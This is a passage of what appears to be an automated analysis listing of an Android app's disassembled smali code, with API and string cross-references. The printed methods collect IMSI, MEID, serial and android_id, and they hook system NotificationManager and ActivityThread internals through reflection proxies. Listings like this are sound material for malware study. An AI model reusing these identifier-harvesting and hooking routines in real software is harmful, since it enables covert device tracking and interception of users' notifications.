                                                                              47const/4 v3, 0x0
                                                                              48new-array v3, v3, [Ljava/lang/Class;
                                                                              50invoke-virtual {v0, v2, v3}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              51move-result-object v2
                                                                              52const/4 v3, 0x0
                                                                              53new-array v3, v3, [Ljava/lang/Object;
                                                                              55invoke-virtual {v2, v0, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              56move-result-object v0
                                                                              57check-cast v0, Ljava/lang/String;
                                                                              58goto_53: return-object v0
                                                                              59catch_54: move-exception v0
                                                                              60move-object v0, v1
                                                                              61goto/16 :goto_53
                                                                              62cond_57:
                                                                              63sget-object v0, Landroid/os/Build;->SERIAL:Ljava/lang/String;
                                                                              64try_end_59: goto/16 :goto_53
                                                                              65catch_5a: move-exception v0
                                                                              66move-object v0, v1
                                                                              67goto/16 :goto_53
                                                                              68catch_5d: move-exception v0
                                                                              69move-object v0, v1
                                                                              70goto/16 :goto_53
                                                                              71cond_60: move-object v0, v1
                                                                              72goto/16 :goto_53
                                                                              73cond_62: move-object v0, v1
                                                                              74goto/16 :goto_19
                                                                              75cond_64: move-object v0, v1
                                                                              76goto/16 :goto_53
                                                                              77catch_66: move-exception v1
                                                                              78goto/16 :goto_53
                                                                              Cross References
                                                                              APIs
                                                                              • org.json.JSONObject.<init>
                                                                              • org.json.JSONObject.<init>
                                                                              • android.content.Context.getApplicationContext
                                                                              • org.json.JSONArray.length
                                                                              • org.json.JSONObject.put
                                                                              • android.text.TextUtils.isEmpty
                                                                              • org.json.JSONObject.put
                                                                              • android.text.TextUtils.isEmpty
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              Strings
                                                                              • run_server
                                                                              • imsi
                                                                              • meid
                                                                              • internal
                                                                              Position Instruction Meta Information
                                                                              0new-instance v0, Lorg/json/JSONObject;
                                                                              2invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
                                                                              3new-instance v2, Lorg/json/JSONObject;
                                                                              5invoke-direct {v2}, Lorg/json/JSONObject;-><init>()V
                                                                              6if-eqz p0, :cond_44
                                                                              8invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                                                                              9move-result-object v3
                                                                              10try_start_10:
                                                                              11invoke-static {v3}, LuAgent/commonsdk/internal/d;->p(Landroid/content/Context;)Lorg/json/JSONArray;
                                                                              12move-result-object v1
                                                                              13if-eqz v1, :cond_21
                                                                              15invoke-virtual {v1}, Lorg/json/JSONArray;->length()I
                                                                              16move-result v4
                                                                              17if-lez v4, :cond_21
                                                                              19const-string v4, "run_server"
                                                                              21invoke-virtual {v2, v4, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              22goto_21:
                                                                              23invoke-static {v3}, LuAgent/commonsdk/internal/utils/a;->k(Landroid/content/Context;)Ljava/lang/String;
                                                                              24move-result-object v1
                                                                              26invoke-static {v1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              27move-result v4
                                                                              28if-nez v4, :cond_30
                                                                              30const-string v4, "imsi"
                                                                              32invoke-virtual {v2, v4, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              33goto_30:
                                                                              34invoke-static {v3}, LuAgent/commonsdk/internal/utils/a;->l(Landroid/content/Context;)Ljava/lang/String;
                                                                              35move-result-object v1
                                                                              37invoke-static {v1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              38move-result v4
                                                                              39if-nez v4, :cond_3f
                                                                              41const-string v4, "meid"
                                                                              43invoke-virtual {v2, v4, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              44cond_3f:
                                                                              45const-string v1, "internal"
                                                                              47invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              48goto_44: return-object v0
                                                                              49catch_45: move-exception v1
                                                                              50try_start_46:
                                                                              51invoke-static {v3, v1}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              52goto/16 :goto_21
                                                                              53catch_4a: move-exception v1
                                                                              54goto/16 :goto_44
                                                                              55catch_4c: move-exception v1
                                                                              57invoke-static {v3, v1}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              58goto/16 :goto_30
                                                                              59catch_51: move-exception v1
                                                                              61invoke-static {v3, v1}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              62goto/16 :goto_3f
                                                                              63catch_56: move-exception v1
                                                                              65invoke-static {v3, v1}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              66try_end_5a: goto/16 :goto_44
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getPackageManager
                                                                              • java.io.File.<init>
                                                                              • android.net.Uri.fromFile
                                                                              • android.content.Intent.<init>
                                                                              • android.content.Intent.setDataAndType
                                                                              • android.content.pm.PackageManager.queryIntentActivities
                                                                              • java.util.List.iterator
                                                                              • java.util.Iterator.hasNext
                                                                              • java.util.Iterator.next
                                                                              • android.content.pm.ResolveInfo.activityInfo:Landroid/content/pm/ActivityInfo
                                                                              • android.content.pm.ActivityInfo.applicationInfo:Landroid/content/pm/ApplicationInfo
                                                                              • android.content.pm.ComponentInfo.packageName:Ljava/lang/String
                                                                              • android.content.ComponentName.<init>
                                                                              • android.content.pm.PackageManager.getActivityIcon
                                                                              Strings
                                                                              • android.intent.action.VIEW
                                                                              • application/vnd.android.package-archive
                                                                              • com.android.packageinstaller.UninstallAppProgress
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "mContext" # Landroid/content/Context;
                                                                              1.param p1, "filePath" # Ljava/lang/String;
                                                                              2.prologue
                                                                              3const/4 v7, 0x0
                                                                              4try_start_1:
                                                                              5invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                                                                              6move-result-object v3
                                                                              7new-instance v8, Ljava/io/File;
                                                                              9invoke-direct {v8, p1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                                                                              11invoke-static {v8}, Landroid/net/Uri;->fromFile(Ljava/io/File;)Landroid/net/Uri;
                                                                              12move-result-object v6
                                                                              13new-instance v2, Landroid/content/Intent;
                                                                              15const-string v8, "android.intent.action.VIEW"
                                                                              17invoke-direct {v2, v8}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                                                              19const-string v8, "application/vnd.android.package-archive"
                                                                              21invoke-virtual {v2, v6, v8}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent;
                                                                              22const/high16 v8, 0x10000
                                                                              24invoke-virtual {v3, v2, v8}, Landroid/content/pm/PackageManager;->queryIntentActivities(Landroid/content/Intent;I)Ljava/util/List;
                                                                              25move-result-object v0
                                                                              27invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                                                                              28move-result-object v8
                                                                              29cond_24:
                                                                              30invoke-interface {v8}, Ljava/util/Iterator;->hasNext()Z
                                                                              31move-result v9
                                                                              32if-eqz v9, :cond_4f
                                                                              34invoke-interface {v8}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                                              35move-result-object v4
                                                                              36check-cast v4, Landroid/content/pm/ResolveInfo;
                                                                              38iget-object v9, v4, Landroid/content/pm/ResolveInfo;->activityInfo:Landroid/content/pm/ActivityInfo;
                                                                              40iget-object v9, v9, Landroid/content/pm/ActivityInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
                                                                              41iget v9, v9, Landroid/content/pm/ApplicationInfo;->flags:I
                                                                              42and-int/lit8 v9, v9, 0x1
                                                                              43if-eqz v9, :cond_24
                                                                              44new-instance v5, Landroid/content/ComponentName;
                                                                              46invoke-static {v4}, Lcom/android/leech/base/util/ApkInfos;->getComponentInfo(Landroid/content/pm/ResolveInfo;)Landroid/content/pm/ComponentInfo;
                                                                              47move-result-object v8
                                                                              49iget-object v8, v8, Landroid/content/pm/ComponentInfo;->packageName:Ljava/lang/String;
                                                                              51const-string v9, "com.android.packageinstaller.UninstallAppProgress"
                                                                              53invoke-direct {v5, v8, v9}, Landroid/content/ComponentName;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                                                                              54try_end_47:
                                                                              55invoke-virtual {v3, v5}, Landroid/content/pm/PackageManager;->getActivityIcon(Landroid/content/ComponentName;)Landroid/graphics/drawable/Drawable;
                                                                              56goto_4a: return-object v5
                                                                              57catch_4b: move-exception v1
                                                                              58move-object v5, v7
                                                                              59goto/16 :goto_4a
                                                                              60catch_4e: move-exception v8
                                                                              61cond_4f: move-object v5, v7
                                                                              62goto/16 :goto_4a
                                                                              Cross References
                                                                              APIs
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.content.Context.getContentResolver
                                                                              • android.provider.Settings$Secure.getString
                                                                              • android.text.TextUtils.isEmpty
                                                                              • java.lang.String.equals
                                                                              • java.lang.String.getBytes
                                                                              • java.util.UUID.nameUUIDFromBytes
                                                                              • java.util.UUID.toString
                                                                              • android.text.TextUtils.isEmpty
                                                                              • java.util.UUID.randomUUID
                                                                              Strings
                                                                              • device_id
                                                                              • android_id
                                                                              • 9774d56d682e549c
                                                                              • utf8
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "context" # Landroid/content/Context;
                                                                              1.prologue
                                                                              2const-class v4, Lcom/android/leech/base/util/PhoneInfo;
                                                                              3monitor-enter v4
                                                                              4try_start_3:
                                                                              5const-string v3, "device_id"
                                                                              7invoke-static {p0, v3}, Lcom/android/leech/base/util/ShareUtils;->getStringValue(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                                                                              8move-result-object v1
                                                                              10invoke-static {v1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              11try_end_c: move-result v3
                                                                              12if-eqz v3, :cond_43
                                                                              13const/4 v2, 0x0
                                                                              14try_start_10:
                                                                              15invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                                                                              16move-result-object v3
                                                                              18const-string v5, "android_id"
                                                                              20invoke-static {v3, v5}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
                                                                              21move-result-object v0
                                                                              23invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              24move-result v3
                                                                              25if-nez v3, :cond_45
                                                                              27const-string v3, "9774d56d682e549c"
                                                                              29invoke-virtual {v3, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              30move-result v3
                                                                              31if-nez v3, :cond_45
                                                                              33const-string v3, "utf8"
                                                                              35invoke-virtual {v0, v3}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
                                                                              36move-result-object v3
                                                                              38invoke-static {v3}, Ljava/util/UUID;->nameUUIDFromBytes([B)Ljava/util/UUID;
                                                                              39move-result-object v2
                                                                              40goto_32: if-eqz v2, :cond_38
                                                                              42invoke-virtual {v2}, Ljava/util/UUID;->toString()Ljava/lang/String;
                                                                              43move-result-object v1
                                                                              44cond_38:
                                                                              45invoke-static {v1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              46move-result v3
                                                                              47if-nez v3, :cond_43
                                                                              49const-string v3, "device_id"
                                                                              51invoke-static {p0, v3, v1}, Lcom/android/leech/base/util/ShareUtils;->setStringValue(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                                                              52goto_43: monitor-exit v4
                                                                              53return-object v1
                                                                              54cond_45:
                                                                              55invoke-static {}, Ljava/util/UUID;->randomUUID()Ljava/util/UUID;
                                                                              56try_end_48: move-result-object v2
                                                                              57goto/16 :goto_32
                                                                              58catchall_4a: move-exception v3
                                                                              59monitor-exit v4
                                                                              60throw v3
                                                                              61catch_4d: move-exception v3
                                                                              62goto/16 :goto_43
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.Object.getClass
                                                                              • java.lang.Class.getClassLoader
                                                                              • java.lang.Object.getClass
                                                                              • java.lang.Class.getInterfaces
                                                                              • java.lang.reflect.Proxy.newProxyInstance
                                                                              • java.lang.Class.getDeclaredField
                                                                              • java.lang.reflect.Field.setAccessible
                                                                              • java.lang.reflect.Field.set
                                                                              Strings
                                                                              • android.app.NotificationManager
                                                                              • getService
                                                                              • sService
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1try_start_0:
                                                                              2const-string v6, "android.app.NotificationManager"
                                                                              4invoke-static {v6}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              5move-result-object v5
                                                                              7const-string v6, "getService"
                                                                              8const/4 v7, 0x0
                                                                              9new-array v7, v7, [Ljava/lang/Class;
                                                                              11invoke-virtual {v5, v6, v7}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              12move-result-object v1
                                                                              13const/4 v6, 0x0
                                                                              14const/4 v7, 0x0
                                                                              15new-array v7, v7, [Ljava/lang/Object;
                                                                              17invoke-virtual {v1, v6, v7}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              18move-result-object v3
                                                                              19new-instance v4, Lcom/android/leech/base/hook/proxy/NotificationProxy;
                                                                              21invoke-direct {v4, v3}, Lcom/android/leech/base/hook/proxy/NotificationProxy;-><init>(Ljava/lang/Object;)V
                                                                              23invoke-virtual {v3}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                                              24move-result-object v6
                                                                              26invoke-virtual {v6}, Ljava/lang/Class;->getClassLoader()Ljava/lang/ClassLoader;
                                                                              27move-result-object v6
                                                                              29invoke-virtual {v3}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                                              30move-result-object v7
                                                                              32invoke-virtual {v7}, Ljava/lang/Class;->getInterfaces()[Ljava/lang/Class;
                                                                              33move-result-object v7
                                                                              35invoke-static {v6, v7, v4}, Ljava/lang/reflect/Proxy;->newProxyInstance(Ljava/lang/ClassLoader;[Ljava/lang/Class;Ljava/lang/reflect/InvocationHandler;)Ljava/lang/Object;
                                                                              36move-result-object v2
                                                                              38const-string v6, "sService"
                                                                              40invoke-virtual {v5, v6}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              41move-result-object v0
                                                                              42const/4 v6, 0x1
                                                                              44invoke-virtual {v0, v6}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                                                              46invoke-virtual {v0, v5, v2}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                                                                              47goto_3d: return-void
                                                                              48catch_3e: move-exception v6
                                                                              49goto/16 :goto_3d
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredField
                                                                              • java.lang.reflect.Field.setAccessible
                                                                              • java.lang.reflect.Field.get
                                                                              • java.lang.Class.getDeclaredField
                                                                              • java.lang.reflect.Field.setAccessible
                                                                              • java.lang.reflect.Field.get
                                                                              • java.lang.Class.getDeclaredField
                                                                              • java.lang.reflect.Field.setAccessible
                                                                              • java.lang.reflect.Field.set
                                                                              Strings
                                                                              • android.app.ActivityThread
                                                                              • sCurrentActivityThread
                                                                              • mH
                                                                              • mCallback
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1try_start_0:
                                                                              2const-string v6, "android.app.ActivityThread"
                                                                              4invoke-static {v6}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              5move-result-object v0
                                                                              7const-string v6, "sCurrentActivityThread"
                                                                              9invoke-virtual {v0, v6}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              10move-result-object v2
                                                                              11const/4 v6, 0x1
                                                                              13invoke-virtual {v2, v6}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                                                              14const/4 v6, 0x0
                                                                              16invoke-virtual {v2, v6}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              17move-result-object v1
                                                                              19const-string v6, "mH"
                                                                              21invoke-virtual {v0, v6}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              22move-result-object v5
                                                                              23const/4 v6, 0x1
                                                                              25invoke-virtual {v5, v6}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                                                              27invoke-virtual {v5, v1}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              28move-result-object v4
                                                                              29check-cast v4, Landroid/os/Handler;
                                                                              30const-class v6, Landroid/os/Handler;
                                                                              32const-string v7, "mCallback"
                                                                              34invoke-virtual {v6, v7}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              35move-result-object v3
                                                                              36const/4 v6, 0x1
                                                                              38invoke-virtual {v3, v6}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                                                              39new-instance v6, Lcom/android/leech/base/hook/proxy/ActivityThreadHandlerCallback;
                                                                              41invoke-direct {v6, v4}, Lcom/android/leech/base/hook/proxy/ActivityThreadHandlerCallback;-><init>(Landroid/os/Handler;)V
                                                                              43invoke-virtual {v3, v4, v6}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                                                                              44try_end_39: return-void
                                                                              45catch_3a: move-exception v6
                                                                              46goto/16 :goto_39
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getConstructor
                                                                              • java.lang.reflect.Constructor.newInstance
                                                                              • java.lang.Class.getDeclaredMethod
                                                                              • java.lang.reflect.Method.setAccessible
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.Class.getDeclaredMethod
                                                                              • java.lang.reflect.Method.setAccessible
                                                                              • java.lang.reflect.Method.invoke
                                                                              • android.text.TextUtils.isEmpty
                                                                              Strings
                                                                              • com.wireless.security.securityenv.sdk.SecurityEnvSDK
                                                                              • initSync
                                                                              • getToken
                                                                              Position Instruction Meta Information
                                                                              0try_start_0:
                                                                              1const-string v0, "com.wireless.security.securityenv.sdk.SecurityEnvSDK"
                                                                              3invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              4move-result-object v0
                                                                              5if-eqz v0, :cond_5b
                                                                              6const/4 v1, 0x1
                                                                              7new-array v1, v1, [Ljava/lang/Class;
                                                                              8const/4 v2, 0x0
                                                                              9const-class v3, Landroid/content/Context;
                                                                              10aput-object v3, v1, v2
                                                                              12invoke-virtual {v0, v1}, Ljava/lang/Class;->getConstructor([Ljava/lang/Class;)Ljava/lang/reflect/Constructor;
                                                                              13move-result-object v1
                                                                              14if-eqz v1, :cond_5b
                                                                              15const/4 v2, 0x1
                                                                              16new-array v2, v2, [Ljava/lang/Object;
                                                                              17const/4 v3, 0x0
                                                                              18aput-object p0, v2, v3
                                                                              20invoke-virtual {v1, v2}, Ljava/lang/reflect/Constructor;->newInstance([Ljava/lang/Object;)Ljava/lang/Object;
                                                                              21move-result-object v1
                                                                              22if-eqz v1, :cond_5b
                                                                              24const-string v2, "initSync"
                                                                              25const/4 v3, 0x0
                                                                              26new-array v3, v3, [Ljava/lang/Class;
                                                                              28invoke-virtual {v0, v2, v3}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              29move-result-object v2
                                                                              30if-eqz v2, :cond_37
                                                                              31const/4 v3, 0x1
                                                                              33invoke-virtual {v2, v3}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                                                                              34const/4 v3, 0x0
                                                                              35new-array v3, v3, [Ljava/lang/Object;
                                                                              37invoke-virtual {v2, v1, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              38cond_37:
                                                                              39const-string v2, "getToken"
                                                                              40const/4 v3, 0x0
                                                                              41new-array v3, v3, [Ljava/lang/Class;
                                                                              43invoke-virtual {v0, v2, v3}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              44move-result-object v0
                                                                              45if-eqz v0, :cond_5b
                                                                              46const/4 v2, 0x1
                                                                              48invoke-virtual {v0, v2}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                                                                              49const/4 v2, 0x0
                                                                              50new-array v2, v2, [Ljava/lang/Object;
                                                                              52invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              53move-result-object v0
                                                                              54check-cast v0, Ljava/lang/String;
                                                                              56invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              57move-result v1
                                                                              58if-nez v1, :cond_5b
                                                                              60sget-object v1, LuAgent/commonsdk/proguard/a;->a:Ljava/lang/Object;
                                                                              61monitor-enter v1
                                                                              62try_end_58: sput-object v0, LuAgent/commonsdk/proguard/a;->b:Ljava/lang/String;
                                                                              63monitor-exit v1
                                                                              64goto_5b: return-void
                                                                              65catchall_5c: move-exception v0
                                                                              66monitor-exit v1
                                                                              67try_start_5e: throw v0
                                                                              68catch_5f: move-exception v0
                                                                              69goto/16 :goto_5b
                                                                              Cross References
                                                                              APIs
                                                                              • java.io.FileReader.<init>
                                                                              • java.io.BufferedReader.<init>
                                                                              • java.io.BufferedReader.readLine
                                                                              • java.lang.String.contains
                                                                              • java.io.BufferedReader.close
                                                                              • java.lang.String.contains
                                                                              • java.lang.String.contains
                                                                              Strings
                                                                              • /proc/diskstats
                                                                              • mmcblk
                                                                              • sda
                                                                              • mtd
                                                                              • noper
                                                                              • unknown
                                                                              Position Instruction Meta Information
                                                                              0try_start_0: new-instance v0, Ljava/io/BufferedReader;
                                                                              1new-instance v1, Ljava/io/FileReader;
                                                                              3const-string v2, "/proc/diskstats"
                                                                              5invoke-direct {v1, v2}, Ljava/io/FileReader;-><init>(Ljava/lang/String;)V
                                                                              7invoke-direct {v0, v1}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                                                                              8try_end_c: if-eqz v0, :cond_4b
                                                                              9cond_e:
                                                                              10invoke-virtual {v0}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                                                                              11move-result-object v1
                                                                              12if-eqz v1, :cond_4b
                                                                              14const-string v2, "mmcblk"
                                                                              16invoke-virtual {v1, v2}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                                              17try_end_19: move-result v2
                                                                              18if-eqz v2, :cond_27
                                                                              20const-string v1, "mmcblk"
                                                                              21move-object v3, v0
                                                                              22move-object v0, v1
                                                                              23move-object v1, v3
                                                                              24goto_21: if-eqz v1, :cond_26
                                                                              25try_start_23:
                                                                              26invoke-virtual {v1}, Ljava/io/BufferedReader;->close()V
                                                                              27try_end_26: return-object v0
                                                                              28cond_27:
                                                                              29const-string v2, "sda"
                                                                              31invoke-virtual {v1, v2}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                                              32try_end_2c: move-result v2
                                                                              33if-eqz v2, :cond_35
                                                                              35const-string v1, "sda"
                                                                              36move-object v3, v0
                                                                              37move-object v0, v1
                                                                              38move-object v1, v3
                                                                              39goto/16 :goto_21
                                                                              40cond_35:
                                                                              41const-string v2, "mtd"
                                                                              43invoke-virtual {v1, v2}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                                              44try_end_3a: move-result v1
                                                                              45if-eqz v1, :cond_e
                                                                              47const-string v1, "mtd"
                                                                              48move-object v3, v0
                                                                              49move-object v0, v1
                                                                              50move-object v1, v3
                                                                              51goto/16 :goto_21
                                                                              52catch_43: move-exception v0
                                                                              53const/4 v0, 0x0
                                                                              54goto_45:
                                                                              55const-string v1, "noper"
                                                                              56move-object v3, v0
                                                                              57move-object v0, v1
                                                                              58move-object v1, v3
                                                                              59goto/16 :goto_21
                                                                              60cond_4b:
                                                                              61const-string v1, "unknown"
                                                                              62move-object v3, v0
                                                                              63move-object v0, v1
                                                                              64move-object v1, v3
                                                                              65goto/16 :goto_21
                                                                              66catch_51: move-exception v1
                                                                              67goto/16 :goto_26
                                                                              68catch_53: move-exception v1
                                                                              69goto/16 :goto_45
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Class.getDeclaredMethod
                                                                              • java.lang.reflect.Method.setAccessible
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.Object.toString
                                                                              • java.lang.String.equalsIgnoreCase
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.Exception.getMessage
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              Strings
                                                                              • getString
                                                                              • net.hostname
                                                                              • getHostName:
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x0
                                                                              1try_start_1: const-class v0, Landroid/os/Build;
                                                                              3const-string v2, "getString"
                                                                              4const/4 v3, 0x1
                                                                              5new-array v3, v3, [Ljava/lang/Class;
                                                                              6const/4 v4, 0x0
                                                                              7const-class v5, Ljava/lang/String;
                                                                              8aput-object v5, v3, v4
                                                                              10invoke-virtual {v0, v2, v3}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              11move-result-object v0
                                                                              12const/4 v2, 0x1
                                                                              14invoke-virtual {v0, v2}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                                                                              15const/4 v2, 0x0
                                                                              16const/4 v3, 0x1
                                                                              17new-array v3, v3, [Ljava/lang/Object;
                                                                              18const/4 v4, 0x0
                                                                              20const-string v5, "net.hostname"
                                                                              21aput-object v5, v3, v4
                                                                              23invoke-virtual {v0, v2, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              24move-result-object v0
                                                                              26invoke-virtual {v0}, Ljava/lang/Object;->toString()Ljava/lang/String;
                                                                              27try_end_25: move-result-object v0
                                                                              28if-eqz v0, :cond_34
                                                                              29try_start_28:
                                                                              30const-string v1, ""
                                                                              32invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                                                              33move-result v1
                                                                              34if-nez v1, :cond_34
                                                                              36invoke-static {v0}, LuAgent/commonsdk/statistics/common/HelperUtils;->getUmengMD5(Ljava/lang/String;)Ljava/lang/String;
                                                                              37try_end_33: move-result-object v0
                                                                              38goto_34: return-object v0
                                                                              39catch_35: move-exception v0
                                                                              40move-object v6, v0
                                                                              41move-object v0, v1
                                                                              42move-object v1, v6
                                                                              43goto_39: if-eqz v1, :cond_34
                                                                              44new-instance v2, Ljava/lang/StringBuilder;
                                                                              46invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                                              48const-string v3, "getHostName:"
                                                                              50invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              51move-result-object v2
                                                                              53invoke-virtual {v1}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                                                              54move-result-object v1
                                                                              56invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              57move-result-object v1
                                                                              59invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              60move-result-object v1
                                                                              62invoke-static {v1}, LuAgent/commonsdk/statistics/common/e;->e(Ljava/lang/String;)V
                                                                              63goto/16 :goto_34
                                                                              64catch_56: move-exception v1
                                                                              65goto/16 :goto_39
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.ProcessBuilder.<init>
                                                                              • java.lang.ProcessBuilder.start
                                                                              • java.lang.Process.getInputStream
                                                                              • java.io.InputStream.read
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.String.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.io.InputStream.close
                                                                              • java.lang.String.trim
                                                                              Strings
                                                                              • /system/bin/cat
                                                                              • /sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq
                                                                              Position Instruction Meta Information
                                                                              1const-string v0, ""
                                                                              2try_start_2: new-instance v1, Ljava/lang/ProcessBuilder;
                                                                              3const/4 v2, 0x2
                                                                              4new-array v2, v2, [Ljava/lang/String;
                                                                              5const/4 v3, 0x0
                                                                              7const-string v4, "/system/bin/cat"
                                                                              8aput-object v4, v2, v3
                                                                              9const/4 v3, 0x1
                                                                              11const-string v4, "/sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq"
                                                                              12aput-object v4, v2, v3
                                                                              14invoke-direct {v1, v2}, Ljava/lang/ProcessBuilder;-><init>([Ljava/lang/String;)V
                                                                              16invoke-virtual {v1}, Ljava/lang/ProcessBuilder;->start()Ljava/lang/Process;
                                                                              17move-result-object v1
